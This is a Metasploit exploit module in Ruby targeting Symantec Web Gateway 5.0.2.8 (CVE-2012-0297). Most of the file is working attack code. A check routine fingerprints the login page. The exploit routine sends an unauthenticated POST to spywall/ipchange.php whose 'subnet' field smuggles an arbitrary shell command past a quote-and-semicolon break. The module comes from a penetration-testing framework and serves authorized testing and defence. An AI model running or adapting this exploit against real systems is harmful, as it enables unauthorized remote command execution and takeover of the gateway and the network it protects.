##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Symantec Web Gateway 5.0.2.8 ipchange.php Command Injection",
      'Description'    => %q{
          This module exploits a command injection vulnerability found in Symantec Web
        Gateway's HTTP service due to the insecure usage of the exec() function. This module
        abuses the spywall/ipchange.php file to execute arbitrary OS commands without
        authentication.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Tenable Network Security', # Vulnerability Discovery
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2012-0297' ],
          [ 'OSVDB', '82925' ],
          [ 'BID', '53444' ],
          [ 'ZDI', '12-090' ],
          [ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00' ]
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00\x0d\x0a\x26",
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl',
            }
        },
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Targets'        =>
        [
          ['Symantec Web Gateway 5.0.2.8', {}],
        ],
      'Privileged'     => false,
      'DisclosureDate' => "May 17 2012",
      'DefaultTarget'  => 0))
  end


  def check
    res = send_request_raw({
      'method' => 'GET',
      'uri'    => '/spywall/login.php'
    })

    if res and res.body =~ /\<title\>Symantec Web Gateway\<\/title\>/
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    uri = target_uri.path
    uri << '/' if uri[-1,1] != '/'

    peer = "#{rhost}:#{rport}"

    post_data = "subnet="
    post_data << "\";" + payload.raw + ";#"

    print_status("#{peer} - Sending Command injection")
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(uri, 'spywall/ipchange.php'),
      'data'   => post_data
    })

    # If the server doesn't return the default redirection, probably
    # something is wrong
    if not res or res.code != 302 or res.headers['Location'] !~ /SW\/admin_config.php/
      print_error("#{peer} - Probably command not executed, aborting!")
      return
    end

  end


end